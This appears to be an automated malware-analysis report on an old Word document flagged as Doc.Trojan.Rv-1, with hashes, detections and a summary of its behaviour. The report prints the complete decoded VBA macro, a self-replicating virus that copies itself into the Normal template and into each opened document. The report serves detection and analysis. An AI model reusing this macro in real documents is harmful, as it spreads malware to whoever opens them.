Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b634c286cfc61a5…

MALICIOUS

Office (OLE)

32.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0ab7a7c2cbba2b825badd470a3b7311f SHA-1: c22a1f66be3dbdaef01de20f3d8a7dc2e4a9c7a5 SHA-256: 8b634c286cfc61a5b9971913ac3769127dfd4cda554c43cca58964bf79a3164d
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The `document_open` macro is designed to replicate itself to the Normal template and the active document. This behavior suggests a worm-like capability, aiming to spread its malicious macro. While no direct payload execution or network communication is evident from the provided script, this replication mechanism is a common precursor to more harmful actions.

Heuristics 3

  • ClamAV: Doc.Trojan.Rv-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Rv-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1308 bytes
SHA-256: 30747d62e464997c7766db879c3197f97c831c1207a32d544ec64137979f7a3e
Detection
ClamAV: Doc.Trojan.Rv-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' --Replication Virus--
Private Sub document_open()
Set norm = NormalTemplate.VBProject.vbcomponents.Item(1).codemodule
Set actve = ActiveDocument.VBProject.vbcomponents.Item(1).codemodule
If norm.lines(1, 1) <> "' --Replication Virus--" Then
  Set Destination = NormalTemplate.VBProject.vbcomponents.Item(1).codemodule
  Dim count As Integer
  Destination.deletelines 1, Destination.countoflines
  Set Source = ActiveDocument.VBProject.vbcomponents.Item(1).codemodule
  count = Source.countoflines
  Destination.insertlines 1, Source.lines(1, count)
    ElseIf norm.lines(1, 1) = "' --Replication Virus--" Then
      If actve.lines(1, 1) = "' --Replication Virus--" Then
      End
      End If
    Set Source = NormalTemplate.VBProject.vbcomponents.Item(1).codemodule
    Set Destination = ActiveDocument.VBProject.vbcomponents.Item(1).codemodule
    Destination.deletelines 1, Destination.countoflines
    Dim counta As Integer
    counta = Source.countoflines
    Destination.insertlines 1, Source.lines(1, counta)
    End If
End Sub